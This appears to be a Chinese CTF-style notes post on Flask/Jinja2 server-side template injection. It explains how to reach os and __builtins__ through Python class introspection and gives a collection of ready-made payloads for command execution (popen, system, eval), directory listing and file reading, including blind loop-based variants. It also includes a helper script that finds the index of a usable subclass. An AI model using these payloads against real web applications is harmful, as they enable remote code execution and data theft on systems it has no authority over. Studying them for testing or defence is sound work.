Flask-SSTI注意事项以及一些POC
1.对于Flask模板注入,首先是要判断是否为注入点,即通过输入表达式{{1+1}}观察程序是是否执行,输出结果。
2.__mro__与__base__的区别在于,__mro__返回的是一个对象所属的类继承的全部类,可以有很多个。__base__返回的是其继承的基类,只有一个。
3.__subclasses__该模块是查询到的结果是一个类的全部子类,我们需要在这些子类中寻找可以利用的子类。这个模块返回的数据往往有很多,可以通过将这些数据存入到List,通过list.index('')来输出所需要的的模块所在的位置。(我用的py脚本会附在下面)可以利用的子类:warnings.catch_warnings(一般在59)、socket._socketobject(一般在71)、site._Printer等模块。
warnings.catch_warinings是没有内置OS模块的需要导入os模块(可自行验证)
4.__builtins__是python的内置模块,内含有python内置的函数。可以通过此模块来调用内置函数如:eval、exec、open。也正是可以利用这些方法进行命令执行、文件读取。
5.os模块提供了多数操作系统的功能接口函数。当os模块被导入后,它会自适应于不同的操作系统平台,根据不同的平台进行相应的操作。os模块中可以利用的函数:system(command)运行shell命令、listdir(dirname)列出dirname下的目录和文件、popen从一个命令打开一个管道进行文件读取等。
6.区分python2和python3可以查找__builtins__中是否有file有file的话是2没有的话是3
收藏的pos 读目录、文件 {{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} {{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').listdir('/')")}} {{[].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].__dict__['system']('ls')}} {{[].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen(cat /xxx/flag)}} {{[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.open('xxx','r').read()}} 页面没有回显时 #命令执行: {% for c in [].__class__.__base__.__subclasses__() %} #先通过for循环根据模块名寻找符合要求的模块 {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }} #如果找到该模块就进行后续的函数操作 {% endif %}{% endfor %} # 结束判断结束循环 #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }} {% endif %}{% endfor %}
#查询需要的类在第几位 #输入查询出来类的列表和需要借助的类名称 def find(): list = "" list = list.replace('\'','') list = list.replace('<','') list = list.replace('>','') list = list.replace('class ','') list = list.replace('enum ','') list = list.replace('type ','') list = list.split(',') print(list) className = ' warnings.catch_warnings' num = list.index(className) print(num) if __name__ == '__main__': find()
你还年轻,可以成为你想成为的任何人。